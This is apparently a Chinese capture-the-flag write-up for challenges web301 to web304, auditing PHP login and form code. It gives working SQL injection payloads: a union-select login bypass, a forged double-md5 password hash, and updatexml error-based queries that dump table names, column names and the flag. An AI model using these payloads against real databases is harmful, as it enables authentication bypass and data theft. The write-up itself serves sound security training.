web301
根据下载的代码,可以看到checklogin.php这个文件:
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
发现sql语句没有过滤,直接使用联合注入
第二个if中告诉我们只有通过sql语句查到的密码和我们的密码相同时才可以登录
1闭合,联合查询123,这样返回的密码是123了,最后只要登录的密码也为123就可以拿到flag了
1' union select 123 #
123
web302
strcasecmp对比两个有什么区别,不区分大小写,相同输出0
搜索sds_decode得到:
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>
相当于给密码加密了
在本地运行一下这个加密的
<?php
$str=1;
echo md5(md5($str.md5(base64_encode("sds")))."sds");
?>
这样就可以注入了
用户名:1' union select 'd9c77c4e454869d5d8da3b4be79694d3' #
密码:1
就可以登录进去得到flag了
web303
先看文件checklogin.php:
strlen返回字符串的字节数(整数)
if(strlen($username)>6){
die();
}
对username进行了长度限制
看下一个文件sds_user.sql:
INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');
从这可得知,账号是admin,密码也是admin,因为密码进行了加密,文件在fun.php中
在文件中找到$sql的语句:
文件checklogin.php:
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
文件dpt.php:
$sql="select * from sds_dpt order by id;";
文件dptadd.php:
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
由此可以看出,sql注入点在dptadd.php中,先找到dpt.php网页,根据代码提示,使用dptadd是在新增的时候
根据sql语句可以进行报错注入
查数据库名字:
1' or updatexml(1,concat(0x7e,(database())),0) or ' #
以此类推
查表名:sds_fl9g
1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) or ' #
查字段名:flag
1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sds_fl9g')),0) or ' #
获取数据:
因为flag没有显示完全,所以用substr截取的方式获取全部
1' or updatexml(1,concat(0x7e,(select substr(group_concat(flag),1,30) from sds_fl9g)),0) or ' #
web304
增加了全局waf
function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
}
代码文件还是web303的,按照前面做法先使用账户admin密码admin进行登录,进行注入
根据注入结果,和web303一样,(这里我也不知道waf咋过滤的,我用web303的注入语句去注入也可以得出)
注入语句:
查表名:sds_flaag
1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) or ' #
查字段名:flag
1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sds_flaag')),0) or ' #
获取flag:
1' or updatexml(1,concat(0x7e,(select substr(group_concat(flag),1,30) from sds_flaag)),0) or ' #